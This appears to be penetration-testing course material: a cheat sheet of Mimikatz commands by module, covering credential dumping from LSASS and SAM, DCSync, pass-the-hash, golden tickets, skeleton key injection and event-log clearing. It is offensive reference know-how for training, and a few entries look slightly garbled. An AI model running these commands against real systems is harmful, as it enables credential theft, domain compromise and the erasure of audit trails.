



Certified Penetration Testing Professional

Mimikatz Cheat Sheet

Mimikatz

Source: <https://github.com>

Mimikatz is an open-source application that allows users to view and save authentication credentials. Attackers make use of this tool to extract plaintexts passwords, hash, PIN code, and Kerberos tickets from memory.

The following table lists the various Mimikatz modules and their respective description

1. [Mimikatz Sekurlsa Module](#)
2. [Mimikatz Crypto Module](#)
3. [Mimikatz DPAPI Module](#)
4. [Mimikatz Kerberos Module](#)
5. [Mimikatz LSADUMP Module](#)
6. [Mimikatz MISC Module](#)
7. [Mimikatz Privilege Module](#)
8. [Mimikatz Process Module](#)
9. [Mimikatz Service](#)
10. [Mimikatz SID Module](#)
11. [Mimikatz Standard](#)
12. [Mimikatz Token Module](#)
13. [Mimikatz SYSENV Module](#)
14. [Mimikatz RPC Module](#)
15. [Mimikatz BusyLight Module](#)

16. Additional Commands

1. Mimikatz Sekurlsa Module

Mimikatz Command	Description
mimikatz # sekurlsa::pth /user:<username> /<domain name> /ntlm:<hash>	Pass-The-Hash and Over-Pass-the-Hash
mimikatz # sekurlsa::logonpasswords	List all current existing user and system credentials
mimikatz # sekurlsa::tickets /export	List and exports all available Kerberos tickets for all sessions
mimikatz # sekurlsa::ekeys	Display all Kerberos encryption keys
mimikatz # sekurlsa::dpapi	Show cached MasterKeys
mimikatz # sekurlsa::dpapiSystem	Show DPAPI_SYSTEM secret
mimikatz # sekurlsa::minidump lsass.dmp	Switch to LSASS minidump process context
mimikatz # sekurlsa::msv	Show LM & NTLM credentials
mimikatz # sekurlsa::kerberos	List Kerberos credentials for all authenticated users
mimikatz # sekurlsa::Krbtgt	Obtain password data of Domain Kerberos service account (KRBtgt)
mimikatz # sekurlsa::liveSSP	List LiveSSP credentials
mimikatz # sekurlsa::backupkeys	Get preferred backup master keys
mimikatz # sekurlsa::credman	List credentials manager
mimikatz # sekurlsa::SSP	Display SSP credentials
mimikatz # sekurlsa::trust	Get trust keys
mimikatz # sekurlsa::tspkg	Show TSPKG credentials
mimikatz # sekurlsa::wdigest	Display WDigest credentials

2. Mimikatz Crypto Module

Mimikatz Command	Description
mimikatz # crypto::certificates	List or export certificates
mimikatz # crypto::certtohw	Export software CA to crypto virtual hardware
mimikatz # crypto::cng	Patch CNG service for easy export
mimikatz # crypto::extract	Extract keys from CAPI RSA/AES provider
mimikatz # crypto::hash	Hash a password with optional username
mimikatz # crypto::keys	List or export keys containers
mimikatz # crypto::providers	List cryptographic providers
mimikatz # crypto::sc	List smartcard readers
mimikatz # crypto::scauth	Create authentication certificate from CA
mimikatz # crypto::stores	List cryptographic stores
mimikatz # crypto::system	Define Windows system certificate file
mimikatz # crypto::capi	Patch CryptoAPI layer for easy export

3. Mimikatz DPAPI Module

Mimikatz Command	Description
mimikatz # dpapi::blob	Unprotect DPAPI blob with API or Masterkey
mimikatz # dpapi::cache	Creates cache
mimikatz # dpapi::capi	CAPI key test
mimikatz # dpapi::chrome	Chrome test

mimikatz # dpapi::cng	CNG key test
mimikatz # dpapi::cred	CRED test
mimikatz # dpapi::credhist	Configure Credhist file
mimikatz # dpapi::masterkey	Configure masterkey file
mimikatz # dpapi::protect	Protect data using DPAPI
mimikatz # dpapi::vault	VAULT test
mimikatz # dpapi::wifi	WIFI test
mimikatz # dpapi::wwan	WWAN test
mimikatz # dpapi::system	Describe Windows system certificate file

4. Mimikatz Kerberos Module

Mimikatz Command	Description
mimikatz # kerberos::clist	List tickets in MIT/Heimdall cache
mimikatz # kerberos::golden	Create golden/silver/trust tickets
mimikatz # kerberos::hash	Hash password to keys
mimikatz # kerberos::list	List all user tickets in user memory
mimikatz # kerberos::ptc	Pass the cache
mimikatz # kerberos::ptt	Pass the ticket
mimikatz # kerberos::purge	Remove all Kerberos tickets
mimikatz # kerberos::tgt	Get current TGT for current user
mimikatz # kerberos::ask	Request TGS tickets

5. Mimikatz LSADUMP Module

Mimikatz Command	Description
<code>mimikatz # lsadump:: backupkeys</code>	Needs Administrator rights
<code>mimikatz # lsadump::cache</code>	Get SysKey to decrypt NL\$KM and MSCache(v2)
<code>mimikatz # lsadump::changentlm</code>	Ask server to set new password/NTLM for one user
<code>mimikatz # lsadump::dcshadow</code>	Push replication changes to Domain Controller
<code>mimikatz # lsadump::dcsync</code>	Ask DC to synchronize an object
<code>mimikatz # lsadump::lsa</code>	Ask LSA Server to retrieve SAM/AD enterprise
<code>mimikatz # lsadump::netsync</code>	Uses DC computer account password data to impersonate a Domain Controller through Silver Ticket and DCSync the target account's information including the password data
<code>mimikatz # lsadump::sam</code>	Get SysKey to decrypt SAM entries
<code>mimikatz # lsadump::secrets</code>	Get SysKey to decrypt secrets entries
<code>mimikatz # lsadump::setntlm</code>	Request server to set new password/NTLM for one use
<code>mimikatz # lsadump::trust</code>	Request LSA Server to retrieve Trust Auth Information

6. Mimikatz MISC Module

Mimikatz Command	Description
<code>mimikatz # misc::addsid</code>	Add to SIDHistory to user account
<code>mimikatz # misc::cmd</code>	Command Prompt
<code>mimikatz # misc::compressme</code>	Compresses Mimikatz file to a new file
<code>mimikatz # misc::detours</code>	Enumerate all modules with Detours-like hooks

<code>mimikatz # misc::memssp</code>	Inject malicious Windows SSP to log locally authenticated credentials by patching LSASS in memory with new SSP
<code>mimikatz # misc::mflt</code>	Gathers details on loaded drivers
<code>mimikatz # misc::ncroutemon</code>	Juniper Manager
<code>mimikatz # misc::regedit</code>	Registry Editor
<code>mimikatz # misc::skeleton</code>	Inject Skeleton Key into LSASS process on Domain Controller
<code>mimikatz # misc::taskmgr</code>	Task Manager

7. Mimikatz Privilege Module

Mimikatz Command	Description
<code>mimikatz # privilege::backup</code>	Get backup privilege or rights
<code>mimikatz # privilege::debug</code>	Obtain debug rights
<code>mimikatz # privilege::driver</code>	Get driver privilege or rights
<code>mimikatz # privilege::id</code>	Get privilege or rights by ID
<code>mimikatz # privilege::name</code>	Get privilege or rights by name
<code>mimikatz # privilege::restore</code>	Obtain restore privilege
<code>mimikatz # privilege::security</code>	Get security privilege
<code>mimikatz # privilege::sysenv</code>	Obtain privilege or rights to manage system environment
<code>mimikatz # privilege::tcb</code>	Get TCB privilege

8. Mimikatz Process Module

Mimikatz Command	Description
mimikatz # process::exports	List exports
mimikatz # process::imports	List imports
mimikatz # process::list	List running processes
mimikatz # process::resume	Resume process
mimikatz # process::run	Run process
mimikatz # process::start	Start process
mimikatz # process::stop	Terminate process
mimikatz # process::suspend	Suspend process

9. Mimikatz Service

Mimikatz Command	Description
mimikatz # service::+	Installs Mimikatz service
mimikatz # service::-	Uninstalls Mimikatz service
mimikatz # service::list	List Services
mimikatz # service::preshutdown	Preshutdown service
mimikatz # service:: remove	Remove service
mimikatz # service::resume	Resume service
mimikatz # service::shutdown	Shutdown service
mimikatz # service::start	Start service
mimikatz # service::stop	Stop service
mimikatz # service::suspend	Suspend service

10. Mimikatz SID Module

Mimikatz Command	Description
<code>mimikatz # sid::add</code>	Add a SID to SIDHistory of an object
<code>mimikatz # sid::clear</code>	Clear SIDHistory of an object
<code>mimikatz # sid::lookup</code>	Name or SID lookup
<code>mimikatz # sid::modify</code>	Modify object SID of an object
<code>mimikatz # sid::patch</code>	Patch NTDS service
<code>mimikatz # sid::query</code>	Query object by SID or name

11. Mimikatz Standard

Mimikatz Command	Description
<code>mimikatz # standard::answer</code>	Provides answer to everything
<code>mimikatz # standard::base64</code>	Shift output to base64 output
<code>mimikatz # standard::cd</code>	Change or display current directory
<code>mimikatz # standard::cls</code>	Clears the screen
<code>mimikatz # standard::coffee</code>	Shows ASCII image of coffee
<code>mimikatz # standard::exit</code>	Mimikatz exits
<code>mimikatz # standard::hostname</code>	Display system local host
<code>mimikatz # standard::localtime</code>	Display local date and time of system
<code>mimikatz # standard::log</code>	Send Mimikatz data to log file
<code>mimikatz # standard::sleep</code>	Sleep a quantity of milliseconds

<code>mimikatz # standard::version</code>	Show version information
<code>mimikatz # standard::markrus</code>	Pass-the-Hash information

12. Mimikatz Token Module

Mimikatz Command	Description
<code>mimikatz # token::elevate</code>	Elevate permissions to system
<code>mimikatz # token::list</code>	List all tokens of the system
<code>mimikatz # token::revert</code>	Revert to process token
<code>mimikatz # token::run</code>	Runs token
<code>mimikatz # token::whoami</code>	Display current identity

13. Mimikatz SYSENV Module

Mimikatz Command	Description
<code>mimikatz # sysenv::list</code>	List system environment variables
<code>mimikatz # sysenv::get</code>	Get system environment variables
<code>mimikatz # sysenv::set</code>	Set system environment variables
<code>mimikatz # token::delete</code>	Delete system environment variables

14. Mimikatz RPC Module

Mimikatz Command	Description
<code>mimikatz # rpc::close</code>	Close connection with remote control
<code>mimikatz # rpc::connect</code>	Establish connection

<code>mimikatz # rpc::enum</code>	Enumerate connection
<code>mimikatz # rpc::server</code>	Establish connection with server

15. Mimikatz BusyLight Module

Mimikatz Command	Description
<code>mimikatz # busylight::list</code>	Lists connected BusyLights
<code>mimikatz # busylight::off</code>	Off BusyLights
<code>mimikatz # busylight::single</code>	Display single BusyLights
<code>mimikatz # busylight::status</code>	Shows status of BusyLights
<code>mimikatz # busylight::test</code>	Test BusyLights

16. Additional Commands

Mimikatz Command	Description
<code>mimikatz # ts::sessions</code>	List TS/RDP sessions
<code>mimikatz # vault::list</code>	List vault credentials
<code>mimikatz # minesweeper::infos</code>	Gives mine information in minesweeper
<code>mimikatz # event::clear</code>	Clears event logs
<code>mimikatz # event::drop</code>	Patch events service to avoid new events